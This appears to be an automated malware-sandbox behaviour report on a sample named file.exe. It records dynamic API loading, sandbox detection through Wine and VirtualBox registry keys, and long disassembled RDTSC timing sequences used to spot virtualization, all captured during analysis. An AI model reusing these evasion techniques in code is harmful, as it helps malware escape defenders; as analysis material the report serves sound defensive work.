Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5355F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110456 second address: 111045C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111045C second address: 110FCEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 jno 00007FB2DD1878A6h 0x0000000e push edi 0x0000000f jmp 00007FB2DD1878A5h 0x00000014 pop edi 0x00000015 popad 0x00000016 nop 0x00000017 jo 00007FB2DD18789Ch 0x0000001d mov dword ptr [ebp+122D3607h], eax 0x00000023 push dword ptr [ebp+122D0A59h] 0x00000029 mov dword ptr [ebp+122D3720h], ecx 0x0000002f call dword ptr [ebp+122D1871h] 0x00000035 pushad 0x00000036 mov dword ptr [ebp+122D2272h], ecx 0x0000003c xor eax, eax 0x0000003e jmp 00007FB2DD1878A2h 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 clc 0x00000048 mov dword ptr [ebp+122D2C6Ch], eax 0x0000004e mov dword ptr [ebp+122D2E93h], eax 0x00000054 mov esi, 0000003Ch 0x00000059 pushad 0x0000005a mov edx, 43333A0Ah 0x0000005f add dword ptr [ebp+122D2E93h], ebx 0x00000065 popad 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a mov dword ptr [ebp+122D293Bh], eax 0x00000070 lodsw 0x00000072 clc 0x00000073 add eax, dword ptr [esp+24h] 0x00000077 mov dword ptr [ebp+122D293Bh], eax 0x0000007d mov ebx, dword ptr [esp+24h] 0x00000081 jng 00007FB2DD1878A8h 0x00000087 jmp 00007FB2DD1878A2h 0x0000008c push eax 0x0000008d push eax 0x0000008e push edx 0x0000008f push edx 0x00000090 pushad 0x00000091 popad 0x00000092 pop edx 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FCEF second address: 110FCF9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB2DCBE2A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282D27 second address: 1282D2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128209A second address: 12820A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282644 second address: 1282648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284D63 second address: 1284D69 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284D69 second address: 1284D73 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB2DD18789Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284D73 second address: 110FCEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 74C2073Dh 0x0000000d mov ecx, edx 0x0000000f push dword ptr [ebp+122D0A59h] 0x00000015 jnc 00007FB2DCBE2A2Ah 0x0000001b call dword ptr [ebp+122D1871h] 0x00000021 pushad 0x00000022 mov dword ptr [ebp+122D2272h], ecx 0x00000028 xor eax, eax 0x0000002a jmp 00007FB2DCBE2A32h 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 clc 0x00000034 mov dword ptr [ebp+122D2C6Ch], eax 0x0000003a mov dword ptr [ebp+122D2E93h], eax 0x00000040 mov esi, 0000003Ch 0x00000045 pushad 0x00000046 mov edx, 43333A0Ah 0x0000004b add dword ptr [ebp+122D2E93h], ebx 0x00000051 popad 0x00000052 add esi, dword ptr [esp+24h] 0x00000056 mov dword ptr [ebp+122D293Bh], eax 0x0000005c lodsw 0x0000005e clc 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 mov dword ptr [ebp+122D293Bh], eax 0x00000069 mov ebx, dword ptr [esp+24h] 0x0000006d jng 00007FB2DCBE2A38h 0x00000073 jmp 00007FB2DCBE2A32h 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b push edx 0x0000007c pushad 0x0000007d popad 0x0000007e pop edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284DCF second address: 1284DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284DD6 second address: 1284E53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB2DCBE2A36h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d add dword ptr [esp], 4A4B8A72h 0x00000014 movsx edx, di 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FB2DCBE2A28h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 mov dh, 97h 0x00000035 pushad 0x00000036 mov cx, bx 0x00000039 mov eax, dword ptr [ebp+122D2E2Dh] 0x0000003f popad 0x00000040 push 00000000h 0x00000042 mov ecx, dword ptr [ebp+122D2D24h] 0x00000048 push 00000003h 0x0000004a mov dword ptr [ebp+122D1E34h], edi 0x00000050 push 41CE4600h 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FB2DCBE2A2Ah 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284E53 second address: 1284EAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FB2DD187898h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f add dword ptr [esp], 7E31BA00h 0x00000016 call 00007FB2DD1878A8h 0x0000001b sub dword ptr [ebp+122D1E26h], ecx 0x00000021 pop edi 0x00000022 lea ebx, dword ptr [ebp+12448CD4h] 0x00000028 xchg eax, ebx 0x00000029 pushad 0x0000002a jmp 00007FB2DD18789Ch 0x0000002f jg 00007FB2DD187898h 0x00000035 popad 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push edi 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284EAB second address: 1284EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284EB0 second address: 1284EB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284F17 second address: 1284F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285005 second address: 1285010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB2DD187896h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285010 second address: 1285031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FB2DCBE2A26h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB2DCBE2A2Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285031 second address: 1285069 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD18789Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007FB2DD1878A0h 0x00000011 jmp 00007FB2DD18789Ch 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push esi 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285069 second address: 12850B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB2DCBE2A26h 0x0000000a popad 0x0000000b pop esi 0x0000000c pop eax 0x0000000d lea ebx, dword ptr [ebp+12448CDDh] 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FB2DCBE2A28h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov edx, dword ptr [ebp+122D2BB8h] 0x00000033 push eax 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 jns 00007FB2DCBE2A26h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285131 second address: 128513D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128513D second address: 1285142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285142 second address: 128514C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FB2DD187896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128514C second address: 12851A8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB2DCBE2A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jns 00007FB2DCBE2A46h 0x00000013 push 00000000h 0x00000015 add edx, 0BC10A4Ah 0x0000001b push 42BD4BBDh 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 jmp 00007FB2DCBE2A38h 0x00000028 pop ecx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12851A8 second address: 12851AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285253 second address: 128525D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128525D second address: 1285261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297190 second address: 1297196 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A35BC second address: 12A35D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD1878A7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A35D9 second address: 12A35DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A38D4 second address: 12A38F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB2DD18789Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB2DD18789Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A3A66 second address: 12A3A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB2DCBE2A35h 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A44D6 second address: 12A4502 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD18789Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FB2DD187896h 0x0000000f jmp 00007FB2DD1878A7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A4502 second address: 12A4508 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C444 second address: 129C44A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A465A second address: 12A465E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A4C28 second address: 12A4C2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A4C2E second address: 12A4C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB2DCBE2A30h 0x00000010 jne 00007FB2DCBE2A26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A4C4F second address: 12A4C7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD18789Eh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007FB2DD1878A7h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A53C1 second address: 12A53CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB909 second address: 12AB90E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB90E second address: 12AB914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ABBBA second address: 12ABBBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ABBBF second address: 12ABBC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ABBC5 second address: 12ABBE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB2DD1878A2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ABBE1 second address: 12ABBE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ABBE7 second address: 12ABBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B01BD second address: 12B01DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007FB2DCBE2A32h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF878 second address: 12AF87C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFA13 second address: 12AFA45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A35h 0x00000007 jbe 00007FB2DCBE2A26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB2DCBE2A2Fh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFA45 second address: 12AFA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFA49 second address: 12AFA4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFD01 second address: 12AFD0B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB2DD187896h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B0002 second address: 12B001B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB2DCBE2A32h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B001B second address: 12B001F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B001F second address: 12B002E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 js 00007FB2DCBE2A26h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3426 second address: 12B3440 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD1878A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B35C5 second address: 12B35F5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB2DCBE2A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FB2DCBE2A32h 0x00000012 pushad 0x00000013 jmp 00007FB2DCBE2A2Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3882 second address: 12B3886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3886 second address: 12B388C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3C07 second address: 12B3C0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4632 second address: 12B4636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4636 second address: 12B463A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B556B second address: 12B5604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB2DCBE2A35h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FB2DCBE2A28h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov esi, dword ptr [ebp+122D2CC8h] 0x00000030 mov di, 1021h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007FB2DCBE2A28h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 jnc 00007FB2DCBE2A28h 0x00000056 push 00000000h 0x00000058 pushad 0x00000059 mov esi, 25A1F6D8h 0x0000005e add al, 00000000h 0x00000061 popad 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 push edi 0x00000068 pop edi 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5604 second address: 12B560A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5E38 second address: 12B5E42 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB2DCBE2A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6E8F second address: 12B6E94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B70BE second address: 12B70C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B70C2 second address: 12B7119 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FB2DD18789Ah 0x0000000d nop 0x0000000e push 00000000h 0x00000010 mov di, 2B27h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FB2DD187898h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 push eax 0x00000031 pushad 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 jmp 00007FB2DD18789Ch 0x0000003a popad 0x0000003b push eax 0x0000003c push edx 0x0000003d jnc 00007FB2DD187896h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7B8D second address: 12B7B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7B91 second address: 12B7B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9371 second address: 12B9375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9375 second address: 12B9379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9379 second address: 12B93B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a or dword ptr [ebp+122D1E34h], edi 0x00000010 push 00000000h 0x00000012 sub edi, dword ptr [ebp+122DBA84h] 0x00000018 push 00000000h 0x0000001a and esi, 75B92EA0h 0x00000020 sbb edi, 435DC100h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FB2DCBE2A32h 0x0000002e rdtsc
